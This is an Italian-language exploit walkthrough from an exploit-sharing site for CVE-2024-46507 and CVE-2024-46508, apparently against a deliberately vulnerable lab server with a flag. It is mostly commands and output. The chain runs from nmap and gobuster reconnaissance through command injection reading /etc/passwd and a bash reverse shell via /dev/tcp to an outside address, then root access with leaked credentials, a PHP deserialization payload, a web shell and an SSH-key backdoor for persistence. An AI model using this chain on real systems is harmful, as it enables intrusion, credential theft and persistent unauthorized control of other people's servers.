Sploitus

Exploit for CVE-2024-46507 CVE-2024-46507 CVE-2024-46508

kitploit · 2026-08-26

Exploit Code

MARKDOWN389 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SOMCHANDRA17-CVE-2024-46507
## Lo script è stato testato e costruito su Ubuntu Server 20.04 LTS, mentre Kali Linux è stato utilizzato per lo sfruttamento e la guida dettagliata.

Questa guida ti accompagna attraverso lo sfruttamento del server vulnerabile contenente le vulnerabilità CVE-2024-46507 (iniezione di comandi) e CVE-2024-46508 (bypass dell'autenticazione).

## Riconoscimento Iniziale

Per prima cosa, esportiamo l'indirizzo IP del nostro target come variabile. Sostituiscilo con il tuo IP target effettivo:

root@kitploit:~
    
    
    export TARGET="192.168.65.129"
    

### Scansione delle Porte

Iniziamo identificando i servizi aperti sul target:

root@kitploit:~
    
    
    # Scansione rapida iniziale delle porte comuni
    sudo nmap -sS -T4 $TARGET
    
    # Scansione completa delle porte per non perdere nulla
    sudo nmap -sS -p- -T4 $TARGET
    
    # Scansione dettagliata delle porte scoperte con rilevamento versione del servizio
    sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt
    

Output previsto dalla scansione dettagliata:

root@kitploit:~
    
    
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
    Nmap scan report for 192.168.65.129
    Host is up (0.00042s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
    |   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
    |_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
    80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
    |_http-title: Vulnerable Application
    |_http-server-header: SimpleHTTP/0.6 Python/3.8.10
    MAC Address: 00:0C:29:AD:B8:5D (VMware)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

### Enumerazione dell'Applicazione Web

Esploriamo l'applicazione web sulle porte scoperte:

root@kitploit:~
    
    
    # Controlla la porta 80 (Apache)
    firefox http://$TARGET/
    
    # Controlla la porta 9000 (server Python SimpleHTTP)
    firefox http://$TARGET:9000/
    

Entrambe puntano allo stesso contenuto dell'applicazione. Scopriamo di più sulla struttura dell'applicazione:

root@kitploit:~
    
    
    # Usa gobuster per trovare directory e file
    gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
    

Output previsto:

root@kitploit:~
    
    
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.65.129
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              php,txt,html
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /index.html           (Status: 200) [Size: 805]
    /api                  (Status: 301) [Size: 0] [--> /api/]
    
    

Controlliamo cosa c'è nella directory API:

root@kitploit:~
    
    
    # Usa gobuster per trovare endpoint API
    gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
    

Oppure puoi semplicemente aprirlo nel browser.

Output previsto:

root@kitploit:~
    
    
    /process.php (Status: 200)
    

## Sfruttamento di CVE-2024-46507 (Iniezione di Comandi)

Dalla nostra ricognizione, abbiamo scoperto l'endpoint `/api/process.php`. L'interfaccia web mostra un modulo che invia a questo endpoint con un parametro "command".

Testiamo l'iniezione di comandi:

root@kitploit:~
    
    
    # Test con un comando semplice
    curl "http://$TARGET:9000/api/process.php?command=id"
    

Output previsto:

root@kitploit:~
    
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

Successo! L'applicazione sta eseguendo i nostri comandi. Controlliamo cos'altro possiamo accedere:

root@kitploit:~
    
    
    # Elenca il contenuto della directory
    curl "http://$TARGET/api/process.php?command=ls+-la"
    
    # Esplora il sistema
    curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"
    

Output:

root@kitploit:~
    
    
    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 
    

Ora, otteniamo una shell inversa. Per prima cosa, imposta un listener sulla tua macchina Kali:

root@kitploit:~
    
    
    # Avvia un listener netcat
    nc -lvnp 4444
    

Poi, invia un comando per la shell inversa:

root@kitploit:~
    
    
    # Codifica URL il payload della shell inversa
    # Originale: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
    # Sostituisci YOUR_KALI_IP con l'IP effettivo della tua macchina Kali
    
    curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php
    

Dovresti ora avere una shell come utente `www-data`! Aggiorniamola a una shell migliore:

root@kitploit:~
    
    
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    # Premi Ctrl+Z per sospendere la shell
    # Poi nel terminale Kali:
    stty raw -echo; fg
    # Premi Invio due volte
    

## Escalation dei Privilegi tramite CVE-2024-46508

Ora che abbiamo una shell, controlliamo i file sensibili:

root@kitploit:~
    
    
    # Controlla la configurazione dell'applicazione
    cat /opt/vulnerable-app/config/app.conf
    cat /opt/vulnerable-app/config/auth.conf
    

Scopriamo credenziali predefinite:

  * Nome utente: admin
  * Password: admin



Controlliamo le credenziali del database:

root@kitploit:~
    
    
    # Cerca credenziali del database
    find /opt/vulnerable-app -type f -exec grep -l "password" {} \;
    

Questo dovrebbe rivelare i dettagli di connessione al database. Accediamo al database:

root@kitploit:~
    
    
    # Connettiti a MariaDB
    mysql -u vulnuser -p'password123' vulnapp
    

Una volta connessi, esploriamo il database:

root@kitploit:~
    
    
    -- Mostra le tabelle
    SHOW TABLES;
    
    -- Visualizza la tabella degli utenti
    SELECT * FROM users;
    

Dovremmo trovare un utente amministratore con password "supersecretpassword". Proviamo a usarlo per ottenere accesso root:

root@kitploit:~
    
    
    # Prova a passare a root
    su root
    # Inserisci la password: supersecretpassword
    

Se il metodo su non funziona, controlliamo altri vettori di escalation dei privilegi:

root@kitploit:~
    
    
    # Controlla i permessi sudo
    sudo -l
    
    # Controlla i binari SUID
    find / -perm -u=s -type f 2>/dev/null
    
    # Controlla i cron job
    cat /etc/crontab
    ls -la /etc/cron*
    

Un metodo aggiuntivo è provare l'accesso SSH con le credenziali scoperte:

root@kitploit:~
    
    
    # Dalla tua macchina Kali
    ssh root@$TARGET
    # Inserisci la password: supersecretpassword
    

## Acquisizione della Flag

Una volta ottenuto l'accesso root, dovremmo trovare la flag:

root@kitploit:~
    
    
    # Cerca file flag
    find / -name "*.txt" 2>/dev/null | grep -v "proc"
    
    # Leggi la flag
    cat /root/flag.txt
    

Output previsto:

root@kitploit:~
    
    
    f1a9d4c2b7e35680d2f1a9c3b7d45e80
    

## Sfruttamento Alternativo: Deserializzazione PHP

L'applicazione è anche vulnerabile ad attacchi di deserializzazione PHP. Creiamo un oggetto serializzato malevolo:

root@kitploit:~
    
    
    <?php
    // Salva come exploit.php sulla tua macchina Kali
    class Exploit {
        public $command = 'system("cat /root/flag.txt");';
        
        public function __destruct() {
            eval($this->command);
        }
    }
    
    $exploit = new Exploit();
    echo base64_encode(serialize($exploit));
    ?>
    

Genera il payload:

root@kitploit:~
    
    
    php exploit.php
    

Questo produrrà un oggetto serializzato codificato in base64. Inviamolo al server:

root@kitploit:~
    
    
    # Salva l'output del comando precedente come PAYLOAD
    curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php
    

Il server dovrebbe eseguire il nostro codice e mostrare la flag.

## Sfruttamento Avanzato: Persistenza

Per un punto d'appoggio più permanente, possiamo creare una web shell:

root@kitploit:~
    
    
    # Come utente www-data, crea una web shell PHP
    echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php
    
    # Accedi da Kali
    curl "http://$TARGET/shell.php?cmd=id"
    

Possiamo anche aggiungere una chiave SSH per l'accesso root persistente:

root@kitploit:~
    
    
    # Su Kali, genera una coppia di chiavi SSH
    ssh-keygen -t rsa -f vulnserver_key
    
    # Sul target come root, aggiungi la nostra chiave pubblica
    mkdir -p /root/.ssh
    echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys
    
    # Poi connettiti da Kali
    ssh -i vulnserver_key root@$TARGET
    

## Riepilogo delle Vulnerabilità

Questo server era vulnerabile a due problemi principali:

  1. **CVE-2024-46507** : Vulnerabilità di iniezione di comandi nell'endpoint API `process.php` che ci ha permesso di eseguire comandi arbitrari.

  2. **CVE-2024-46508** : Bypass dell'autenticazione ed escalation dei privilegi dovuto a:

     * Credenziali predefinite lasciate attive
     * Password debole del database
     * Riutilizzo della password su diversi sistemi